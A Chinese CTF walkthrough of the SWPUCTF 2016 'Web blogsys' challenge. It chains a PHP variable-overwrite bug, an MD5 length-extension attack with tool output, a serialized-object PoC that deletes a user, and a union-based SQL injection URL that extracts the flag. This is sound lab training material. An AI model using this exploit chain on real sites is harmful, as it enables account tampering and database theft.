题目地址:https://buuoj.cn/challenges#[SWPUCTF%202016]Web%20blogsys
源码地址:https://github.com/CTFTraining/swpuctf_2016_web_blogsys
common.php
//common.php
foreach (Array("_POST", "_GET", "_COOKIE") as $key) {
foreach ($$key as $k => $v) {
if (is_array($v)) {
die("hello,hacker!");
} else {
$k[0] != '_' ? $$k = addslashes($v) : $$k = "";
}
}
}
很明显,这里存在一个变量覆盖漏洞。但是这段代码在common.php
中,包含这个文件的都是在最开始加载的,但是变量覆盖只能控制最后一次覆盖的变量值,如果这个文件中还有对变量有赋值操作的都会又被覆盖掉,变量覆盖就失效了,因此我们只能覆盖从未声明的变量
riji.php
//riji.php
if ($_SESSION['user']) {
$username = $_SESSION['user'];
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if ($result['userid']) {
$id = intval($result['userid']);
}
} else {
exit();
}
登录成功后生成SESSION
,但是如果登录成功后,再删除这个用户,此时再去数据库中查找,显然无法查找到数据,即可导致$result[''userid]
为空,$id
这个变量没有被赋值,导致该变量可控
再往下看
//riji.php
@mysql_conn();
$sql1 = "select * from msg where userid= $id order by id";
$query = mysql_query($sql1);
$result1 = array();
while ($temp = mysql_fetch_assoc($query)) {
$result1[] = $temp;
}
mysql_close();
foreach ($result1 as $x => $o) {
echo display($o['msg']);
}
变量插入查询语句时,对$id
并没有使用任何符号包裹,所以addslashes()
并没有什么作用,可以直接注入
接下来看看如何删除用户
api.php
//api.php
$a = unserialize(base64_decode($api));
$a->do_method();
//api.php
function check(){
$username = addslashes($this->name);//进入数据库的数据进行转义
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if(!empty($result)){
//利用 salt 验证是否为该用户
if($this->check === md5($result['salt'] . $this->data . $username)){
echo '(=-=)!!';
if($result['role'] == 1){//检查是否为admin用户
return 1;
}
else{
return 0;
}
}
else{
return 0;
}
}
else{
return 0;
}
}
api
文件包含了common.php
即存在变量覆盖漏洞,api
参数没有初始化,即可以控制$a
。不过要删除用户需要绕过这里
//api.php
$this->check === md5($result['salt'] . $this->data . $username)
这里的$result['salt']
是随机生成的,所以需要找到一个满足的条件的$check
和$data
接着在forget.php
//forget.php
if ($result['salt']) {
$check = base64_encode(md5($result['salt']));
$name = $result['name'];
header("Location:/repass.php?username=$name&check=$check&mibao=$mibao&pass=$pass");
}
如果选择忘记admin
用户密码,那么这个跳转就会泄漏admin
的随机base64_encode(md5($result['salt']))
,知道了md5($result['salt'])
要得出md5($result['salt'] . $this->data . "admin")
值,就可以使用哈希扩展攻击
哈希扩展攻击exp:https://github.com/JoyChou93/md5-extension-attack
注册一个用户,然后注销退出,点击找回密码,找回用户admin
的密码,得到:
YWI0ZDIyOTI1ZDI2OGRkNjkzN2U0MWVkYmU4MWU5N2U
base64解密得到:
ab4d22925d268dd6937e41edbe81e97e
PS C:\Users\Administrator\Desktop\md5-extension-attack> python2 .\md5pad.py ab4d22925d268dd6937e41edbe81e97e admin 16
Payload: '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00admin'
Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00admin
md5: 6122c04e8a1f3529d556199960ef2556
PS C:\Users\Administrator\Desktop\md5-extension-attack>
构造反序列化poc:
class admin{
var $name = "admin";
var $check= "6122c04e8a1f3529d556199960ef2556";
var $data = "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";
var $method="del_user"; //要调用的函数
var $userid="2"; //要删除的用户
}
$a = new admin();
$api = base64_encode(serialize($a));
echo $api;
?>
注意这里的userid
一般注册的第一个用户都是2
,但是在index.php
中可以看到,userid
应该就是cookie
base64解密出来的第一个数字
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if (!empty($result)) {
if ($result['passwd'] == md5($password)) {
$user_cookie = '';
$user_cookie .= $result['userid'];
$user_cookie .= $result['name'];
$user_cookie .= $result['salt'];
$cookies = base64_encode($user_cookie);
//$cookies = $user_cookie;
setcookie("user", $cookies, time() + 60, '/');
$_SESSION['login'] = 1;
$_SESSION['user'] = $username;
header('Location:/riji.php');
} else {
echo("");
}
} else {
echo("");
}
}
Mm1vY2h1R3E0aGJGc0piTjBSSTZibw%3D%3D
解密后得到:2mochuGq4hbFsJbN0RI6bo Ü
可以看到userid=2
,这样得到userid
就可以运行poc了
PS C:\Users\Administrator\Desktop> php .\exp.php
Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI2MTIyYzA0ZThhMWYzNTI5ZDU1NjE5OTk2MGVmMjU1NiI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoxOiIyIjt9
然后把生成的payload作为api.php?api=
的参数传入,新建一个隐私窗口或者换一个浏览器传入,成功后会弹出Delete user success!!
最后在http://0ddb6dfe-89c4-4c64-bb5c-889cc033d68f.node3.buuoj.cn/riji.php?id=-1 union select 1,2,flag from flag
注入即可得到flag